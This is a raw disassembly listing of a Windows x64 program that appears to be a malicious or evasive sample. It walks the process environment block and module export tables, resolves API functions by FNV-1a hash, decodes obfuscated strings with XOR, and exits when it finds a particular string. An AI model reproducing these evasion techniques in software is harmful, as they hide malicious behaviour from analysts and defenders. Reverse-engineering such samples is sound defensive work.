lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x5d0]
call fcn.140005c20
nop
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x5f0]
call fcn.14002fd60
mov rdx, rax
lea rcx, [0x1400c6158]
call fcn.14003cf40
lea rcx, [rbp + 0x5f0]
call fcn.1400059f0
nop
lea rcx, [rbp + 0x5d0]
call fcn.1400059f0
lea rdx, [0x1400c6158]
lea rcx, [rbp + 0x610]
call fcn.140005a90
mov rdx, rax
lea rcx, [0x1400c7610]
call fcn.14004dcb0
cmp byte [0x1400c7820], 0
je 0x1400358a7
call fcn.140005bb0
lea rcx, [0x1400c7610]
call fcn.140047380
lea rdx, str.Swabra
lea rcx, [0x1400c7828]
call fcn.140005e20
test al, al
je 0x140035882
call fcn.140005bb0
call fcn.140011940
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140005bb0
call fcn.140005bb0
call fcn.140005bb0
mov byte [0x1400c7348], 1
call fcn.140005bb0
call fcn.140005bb0
call fcn.140005bb0
call fcn.140030f10
test eax, eax
je 0x14003c3cc
cmp byte [0x1400c7348], 0
je 0x14003c3cc
mov eax, dword [str.Q_G5_h]
mov dword [rsp + 0x5c], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140035956
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140035956
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140035951
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140035930
cmp r8d, 0x491e0a9c
je 0x14003595b
test r9d, r9d
jne 0x140035910
mov rax, qword [rax]
jmp 0x1400358e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r15d, 2
jl 0x140035a05
movdqa xmm3, xmmword [0x1400b8680]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b86e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b86e0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400b86a0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rsp + 0x5c]
xorps xmm2, xmm0
movd dword [rsp + 0x5c], xmm2
jmp 0x140035a40
lea r9, [rsp + 0x5c]
mov r8d, r14d
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140035a10
lea rcx, [rsp + 0x5c]
call r11
call fcn.140030f10
test eax, eax
je 0x14003c3cc
mov rax, qword [0x1400b7298]
mov qword [rbp + 0x108], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140035af6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140035af6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140035af1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140035ad0
cmp r8d, 0xe76fb4aa
je 0x140035afb
test r9d, r9d
jne 0x140035ab0
mov rax, qword [rax]
jmp 0x140035a80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r15d, 2
jl 0x140035c27
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400b8680]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x108]
xorps xmm2, xmm1
movd dword [rbp + 0x108], xmm2
movdqa xmm3, xmmword [0x1400b8690]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10c]
xorps xmm2, xmm1
movd dword [rbp + 0x10c], xmm2
jmp 0x140035c70
lea r9, [rbp + 0x108]
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140035c40
lea rcx, [rbp + 0x108]
call r11
mov eax, dword [0x1400b6d58]
mov dword [rbp + 0x30], eax
movzx eax, word [0x1400b6d5c]
mov word [rbp + 0x34], ax
movzx eax, byte [str.8jgdxWV]
mov byte [rbp + 0x36], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140035d26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140035d26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140035d21
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140035d00
cmp r8d, 0xe76fb4aa
je 0x140035d2b
test r9d, r9d
jne 0x140035ce0
mov rax, qword [rax]
jmp 0x140035cb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp + 0x30], reloc.WLDAP32.dll_Ordinal_27
xor byte [rbp + 0x31], 0x33
xor byte [rbp + 0x32], 0x34
xor byte [rbp + 0x33], 0x35
xor byte [rbp + 0x34], 0x36
xor byte [rbp + 0x35], 0x37
xor byte [rbp + 0x36], 0x38
lea rcx, [rbp + 0x30]
call rdx
mov eax, dword [0x1400b6fb4]
mov dword [rbp - 0x40], eax
movzx eax, word [0x1400b6fb8]
mov word [rbp - 0x3c], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140035e06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140035e06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140035e01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140035de0
cmp r8d, 0xe76fb4aa
je 0x140035e0b
test r9d, r9d
jne 0x140035dc0
mov rax, qword [rax]
jmp 0x140035d90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp - 0x40], reloc.WLDAP32.dll_Ordinal_27
xor byte [rbp - 0x3f], 0x33
xor byte [rbp - 0x3e], 0x34
xor byte [rbp - 0x3d], 0x35
xor byte [rbp - 0x3c], 0x36
xor byte [rbp - 0x3b], 0x37
lea rcx, [rbp - 0x40]
call rdx
movups xmm0, xmmword [0x1400b7460]
movups xmmword [rbp + 0x350], xmm0
movsd xmm0, qword [0x1400b7470]
movsd qword [rbp + 0x360], xmm0
movzx eax, word [0x1400b7478]
mov word [rbp + 0x368], ax
movzx eax, byte [0x1400b747a]
mov byte [rbp + 0x36a], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140035f06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140035f06
mov rax, qword [rax]
jmp 0x140035e90
call fcn.140005bb0
call fcn.140005bb0
call fcn.140011940
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140005bb0
call fcn.140005bb0
call fcn.140005bb0
xor eax, eax
mov byte [rsp + 0x42], al
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x42]
call fcn.14003c460
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003bba6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003bba6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003bba1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003bb80
cmp r8d, 0xe76fb4aa
je 0x14003bbab
test r9d, r9d
jne 0x14003bb60
mov rax, qword [rax]
jmp 0x14003bb30
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp byte [rsi + 7], 0
je 0x14003bd10
cmp r15d, 2
jl 0x14003bcd3
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm5, r12d
movd xmm6, r13d
movdqa xmm2, xmmword [0x1400b8680]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rsi]
xorps xmm2, xmm0
movd dword [rsi], xmm2
movdqa xmm3, xmmword [0x1400b8690]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rsi + 4]
xorps xmm2, xmm0
movd dword [rsi + 4], xmm2
jmp 0x14003bd10
mov r9, rsi
mov r8d, r14d
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14003bce0
mov rcx, rsi
call r11
xor eax, eax
mov byte [rsp + 0x43], al
lea rdx, [rbp + 0xc8]
lea rcx, [rsp + 0x43]
call fcn.14003c470
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003bdc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003bdc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14003bdc1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14003bda0
cmp r8d, 0xe76fb4aa
je 0x14003bdcb
test r9d, r9d
jne 0x14003bd80
mov rcx, qword [rcx]
jmp 0x14003bd50
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r8d, dword [rcx + rdx*4]
add r8, r10
movzx eax, byte [rsi + 6]
test al, al
je 0x14003be07
xor byte [rsi], 0x32
xor byte [rsi + 1], 0x33
xor byte [rsi + 2], 0x34
xor byte [rsi + 3], 0x35
xor byte [rsi + 4], 0x36
xor byte [rsi + 5], 0x37
xor al, 0x38
mov byte [rsi + 6], al
mov rcx, rsi
call r8
xor eax, eax
mov byte [rsp + 0x44], al
lea rdx, [rbp]
lea rcx, [rsp + 0x44]
call fcn.14003c4a0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003beb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003beb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14003beb1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14003be90
cmp r8d, 0xe76fb4aa
je 0x14003bebb
test r9d, r9d
jne 0x14003be70
mov rcx, qword [rcx]
jmp 0x14003be40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r8d, dword [rcx + rdx*4]
add r8, r10
movzx eax, byte [rsi + 5]
test al, al
je 0x14003bef3
xor byte [rsi], 0x32
xor byte [rsi + 1], 0x33
xor byte [rsi + 2], 0x34
xor byte [rsi + 3], 0x35
xor byte [rsi + 4], 0x36
xor al, 0x37
mov byte [rsi + 5], al
mov rcx, rsi
call r8
xor eax, eax
mov byte [rsp + 0x45], al
lea rdx, [rbp + 0x370]
lea rcx, [rsp + 0x45]
call fcn.14003c4c0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003bfa6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003bfa6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14003bfa1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14003bf80
cmp r8d, 0xe76fb4aa
je 0x14003bfab
test r9d, r9d
jne 0x14003bf60
mov rcx, qword [rcx]
jmp 0x14003bf30
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp byte [rsi + 0x1a], 0
je 0x14003c150
mov r8d, r14d
cmp r15d, 2
jl 0x14003c114
movdqa xmm5, xmmword [0x1400b8680]
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400b86a0]
movd xmm8, r13d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rsi
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14003c011
cmp r8d, 0x1b
jge 0x14003c150
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x14003c120
mov rcx, rsi
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003c1e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003c1e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003c1e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003c1c0
cmp r8d, 0x2fa62ca8
je 0x14003c1eb
test r9d, r9d
jne 0x14003c1a0
mov rax, qword [rax]
jmp 0x14003c170
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x7d0
call rax
xor eax, eax
mov byte [rsp + 0x47], al
lea rdx, [rbp - 0x6c]
lea rcx, [rsp + 0x47]
call fcn.140029c20
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003c2b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003c2b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003c2b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003c290
test r9d, r9d
jne 0x14003c270
mov rax, qword [rax]
jmp 0x14003c240
call fcn.140005bb0
call fcn.140005bb0
call fcn.140005bb0
call fcn.140011940
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140011940
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3